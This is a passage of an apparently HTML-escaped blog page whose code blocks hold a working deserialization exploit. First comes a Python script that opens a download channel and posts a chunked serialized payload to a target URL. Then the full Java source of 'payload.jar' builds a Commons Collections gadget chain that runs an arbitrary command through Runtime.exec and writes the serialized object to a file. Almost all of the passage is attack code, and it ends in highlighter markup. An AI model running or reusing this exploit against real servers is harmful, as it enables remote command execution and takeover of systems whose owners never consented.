class=\"crayon-s\">&#8216;Side&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;download&#8217;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Content-type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;application\/x-www-form-urlencoded&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Session&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">session<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-29\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Transfer-Encoding&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;chunked&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">null_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">proxies<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">proxies<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">stream<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">True<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-32\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-33\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-34\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">upload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">session<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-35\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;Side&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;upload&#8217;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-37\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Session&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">session<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-38\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Content-type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;application\/octet-stream&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Accept-Encoding&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">None<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-40\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">proxies<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">proxies<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-41\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-42\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-43\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">upload_chunked<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">session<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-44\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-45\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;Side&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;upload&#8217;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-46\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Session&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">session<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-47\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Content-type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;application\/octet-stream&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-48\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Accept-Encoding&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">None<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-49\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Transfer-Encoding&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;chunked&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-50\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;Cache-Control&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;no-cache&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-51\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-52\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">create_payload_chunked<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">proxies<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">proxies<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-53\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-54\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-55\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">null_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-56\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">yield<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-57\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-58\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">create_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-59\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PREAMLE<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROTO<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">FILE_SER<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-60\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-61\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">payload<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-62\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-63\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">create_payload_chunked<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-64\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">yield <\/span><span class=\"crayon-e\">PREAMLE<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-65\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">yield <\/span><span class=\"crayon-e\">PROTO<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-66\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">yield <\/span><span class=\"crayon-e\">FILE_SER<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-67\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-68\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-69\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;start&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-70\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-71\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">session<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uuid<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">uuid4<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-72\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-73\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">t<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threading<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">Thread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">target<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">download<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">URL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">session<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-74\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">t<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">start<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-75\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-76\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-77\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;pwn&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-78\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\">#upload(URL, session, create_payload())<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-79\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-80\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">upload_chunked<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">URL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">session<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;asdf&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-81\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83572711400876-82\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__name__<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;__main__&#8221;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83572711400876-83\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0114 seconds] -->  <\/p>\n<p><strong>payload.jar<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5907b45e83577928284167\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> import java.io.FileOutputStream;  import java.io.ObjectOutputStream;  import java.io.ObjectStreamException;  import java.io.Serializable;  import java.lang.reflect.Field;  import java.security.KeyPair;  import java.security.KeyPairGenerator;  import java.security.PrivateKey;  import java.security.PublicKey;  import java.security.Signature;  import java.security.SignedObject;  import java.util.Comparator;  import java.util.HashMap;  import java.util.HashSet;  import java.util.Map;  import java.util.concurrent.ConcurrentSkipListSet;  import java.util.concurrent.CopyOnWriteArraySet;    import net.sf.json.JSONArray;    import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.collection.AbstractCollectionDecorator;  import org.apache.commons.collections.functors.ChainedTransformer;  import org.apache.commons.collections.functors.ConstantTransformer;  import org.apache.commons.collections.functors.InvokerTransformer;  import org.apache.commons.collections.keyvalue.TiedMapEntry;  import org.apache.commons.collections.map.LazyMap;  import org.apache.commons.collections.map.ReferenceMap;  import org.apache.commons.collections.set.ListOrderedSet;    public class Payload implements Serializable {        private Serializable payload;        public Payload(String cmd) throws Exception {            this.payload = this.setup(cmd);        }        public Serializable setup(String cmd) throws Exception {          final String[] execArgs = new String[] { cmd };            final Transformer[] transformers = new Transformer[] {                  new ConstantTransformer(Runtime.class),                  new InvokerTransformer(&#8220;getMethod&#8221;, new Class[] { String.class,                          Class[].class }, new Object[] { &#8220;getRuntime&#8221;,                          new Class[0] }),                  new InvokerTransformer(&#8220;invoke&#8221;, new Class[] { Object.class,                          Object[].class }, new Object[] { null, new Object[0] }),                  new InvokerTransformer(&#8220;exec&#8221;, new Class[] { String.class },                          execArgs), new ConstantTransformer(1) };            Transformer transformerChain = new ChainedTransformer(transformers);            final Map innerMap = new HashMap();            final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);            TiedMapEntry entry = new TiedMapEntry(lazyMap, &#8220;foo&#8221;);            HashSet map = new HashSet(1);          map.add(&#8220;foo&#8221;);          Field f = null;          try {              f = HashSet.class.getDeclaredField(&#8220;map&#8221;);          } catch (NoSuchFieldException e) {              f = HashSet.class.getDeclaredField(&#8220;backingMap&#8221;);          }            f.setAccessible(true);          HashMap innimpl = (HashMap) f.get(map);            Field f2 = null;          try {              f2 = HashMap.class.getDeclaredField(&#8220;table&#8221;);          } catch (NoSuchFieldException e) {              f2 = HashMap.class.getDeclaredField(&#8220;elementData&#8221;);          }            f2.setAccessible(true);          Object[] array2 = (Object[]) f2.get(innimpl);            Object node = array2[0];          if (node == null) {              node = array2[1];          }            Field keyField = null;          try {              keyField = node.getClass().getDeclaredField(&#8220;key&#8221;);          } catch (Exception e) {              keyField = Class.forName(&#8220;java.util.MapEntry&#8221;).getDeclaredField(                      &#8220;key&#8221;);          }            keyField.setAccessible(true);          keyField.set(node, entry);            KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(&#8220;DSA&#8221;);          keyPairGenerator.initialize(1024);          KeyPair keyPair = keyPairGenerator.genKeyPair();          PrivateKey privateKey = keyPair.getPrivate();          PublicKey publicKey = keyPair.getPublic();            Signature signature = Signature.getInstance(privateKey.getAlgorithm());          SignedObject payload = new SignedObject(map, privateKey, signature);          JSONArray array = new JSONArray();            array.add(&#8220;asdf&#8221;);            ListOrderedSet set = new ListOrderedSet();          Field f1 = AbstractCollectionDecorator.class                  .getDeclaredField(&#8220;collection&#8221;);          f1.setAccessible(true);          f1.set(set, array);            DummyComperator comp = new DummyComperator();          ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);          csls.add(payload);            CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();          CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();            a1.add(set);          Container c = new Container(csls);          a1.add(c);            a2.add(csls);          a2.add(set);            ReferenceMap flat3map = new ReferenceMap();          flat3map.put(new Container(a1), &#8220;asdf&#8221;);          flat3map.put(new Container(a2), &#8220;asdf&#8221;);            return flat3map;      }        private Object writeReplace() throws ObjectStreamException {          return this.payload;      }        static class Container implements Serializable {            private Object o;            public Container(Object o) {              this.o = o;          }            private Object writeReplace() throws ObjectStreamException {              return o;          }        }        static class DummyComperator implements Comparator, Serializable {            public int compare(Object arg0, Object arg1) {              \/\/ TODO Auto-generated method stub              return 0;          }            private Object writeReplace() throws ObjectStreamException {              return null;          }        }        public static void main(String args[]) throws Exception{            if(args.length != 2){              System.out.println(&#8220;java -jar payload.jar outfile cmd&#8221;);              System.exit(0);          }            String cmd = args[1];          FileOutputStream out = new FileOutputStream(args[0]);            Payload pwn = new Payload(cmd);          ObjectOutputStream oos = new ObjectOutputStream(out);          oos.writeObject(pwn);          oos.flush();          out.flush();          }    }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e83577928284167-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e83577928284167-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" 